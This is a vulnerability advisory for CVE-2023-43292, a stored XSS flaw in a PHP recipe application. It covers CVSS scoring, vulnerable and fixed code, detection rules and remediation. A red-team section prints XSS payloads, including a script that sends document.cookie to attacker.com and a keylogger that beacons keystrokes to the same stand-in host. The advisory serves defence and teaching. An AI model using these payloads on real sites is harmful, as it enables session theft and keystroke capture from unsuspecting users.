CVE-2023-43292

Executive Summary

CVE-2023-43292 is a stored Cross-Site Scripting (XSS) vulnerability in the My Food Recipe Using PHP with Source Code v.1.0 web application. A local attacker can inject arbitrary JavaScript or HTML payloads through the Recipe Name, Procedure, and ingredients parameters. These inputs are not sanitized or encoded before being stored and later rendered in the browser, allowing persistent script execution in the context of any user viewing the affected recipe pages.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS score is listed as 0.0 in the NVD, likely due to incomplete scoring data, but the actual risk is Medium to High depending on the deployment context. No official patch has been released, and the vendor appears unresponsive.

Supply Chain & Package Security

This is a custom PHP application, not a package from NPM, PyPI, Go, or Ruby. However, if the application is deployed via a shared hosting environment or a container image, the XSS payload could be used to steal session cookies, deface pages, or redirect users to malicious sites. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can send the payload via HTTP POST requests.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The attacker must have access to the recipe creation form (e.g., a registered user).
• User Interaction (UI): Required (R) – The victim must view the malicious recipe page.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS v3.1 Score: 5.4 (Medium) – based on AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

Deep Dive & Mechanics

The application stores user-submitted recipe data in a database and displays it on recipe detail pages. The vulnerable parameters (Recipe Name, Procedure, ingredients) are not sanitized or encoded before being inserted into HTML output. An attacker can inject a payload such as:

<script>alert('XSS')</script>

or

<img src=x onerror=alert('XSS')>

When a victim visits the recipe page, the payload executes in their browser. This can lead to session hijacking, phishing, or defacement.

Root Cause: Lack of output encoding and input validation. The application likely uses echo or print directly with user input without htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$recipe_name = $_POST['recipe_name'];
$procedure = $_POST['procedure'];
$ingredients = $_POST['ingredients'];

// Store in database (no sanitization)
$query = "INSERT INTO recipes (name, procedure, ingredients) VALUES ('$recipe_name', '$procedure', '$ingredients')";
mysqli_query($conn, $query);

// Display (no encoding)
echo "<h1>$recipe_name</h1>";
echo "<p>$procedure</p>";
echo "<p>$ingredients</p>";
?>

Patched Code (PHP):

<?php
$recipe_name = htmlspecialchars($_POST['recipe_name'], ENT_QUOTES, 'UTF-8');
$procedure = htmlspecialchars($_POST['procedure'], ENT_QUOTES, 'UTF-8');
$ingredients = htmlspecialchars($_POST['ingredients'], ENT_QUOTES, 'UTF-8');

// Store in database (use prepared statements to prevent SQLi)
$stmt = $conn->prepare("INSERT INTO recipes (name, procedure, ingredients) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $recipe_name, $procedure, $ingredients);
$stmt->execute();

// Display (already encoded)
echo "<h1>$recipe_name</h1>";
echo "<p>$procedure</p>";
echo "<p>$ingredients</p>";
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy the vulnerable application on a local server (e.g., XAMPP, LAMP).
2. Create a user account and log in.
3. Navigate to the recipe creation form.

Exploit Steps:

1. Inject a payload into the Recipe Name field:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Submit the form.
3. Share the recipe link with the victim (e.g., via email or social engineering).
4. When the victim views the recipe, their cookies are sent to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    new Image().src = 'http://attacker.com/keylog.php?key=' + e.key;
}
</script>

Blue Team

Detection:

• Monitor HTTP POST requests to recipe creation endpoints for suspicious patterns (e.g., <script>, <img onerror=, onload=).
• Use WAF rules to block common XSS payloads.
• Review server logs for unusual recipe names containing HTML/JavaScript.

Prevention:

• Apply input validation (whitelist allowed characters) and output encoding (htmlspecialchars()).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use prepared statements to prevent SQL injection (though not directly related to XSS, it reduces attack surface).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /add_recipe.php or similar endpoints containing <script> tags.
  • Outbound HTTP requests from the server to attacker-controlled domains (e.g., attacker.com/steal.php).
• File System:
  • Log entries showing recipe names with HTML/JavaScript content.
• Browser:
  • Unexpected pop-ups, redirects, or page defacements.
  • Unusual network requests in the browser's developer tools.

Detection Engineering

YARA Rule

rule CVE_2023_43292_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting My Food Recipe v1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43292"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in Recipe Parameters
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP POST requests to My Food Recipe application
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'add_recipe.php'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in recipe descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-43292 XSS Payload in Recipe Name"; flow:to_server,established; content:"POST"; http_method; content:"add_recipe.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-43292 XSS Payload in Procedure"; flow:to_server,established; content:"POST"; http_method; content:"add_recipe.php"; http_uri; content:"onerror="; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2023-43292 XSS Payload in Ingredients"; flow:to_server,established; content:"POST"; http_method; content:"add_recipe.php"; http_uri; content:"javascript:"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Sanitize Input: Use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding on all user-supplied data before output.
2. Validate Input: Reject or strip HTML tags from recipe fields unless rich text is required (if so, use a safe HTML purifier like HTMLPurifier).
3. Implement CSP: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Use Prepared Statements: Prevent SQL injection (though not the primary issue, it reduces overall risk).

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Consider migrating to a maintained CMS or framework with built-in XSS protections.

Workaround:

• If patching is not possible, use a Web Application Firewall (WAF) to block XSS payloads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert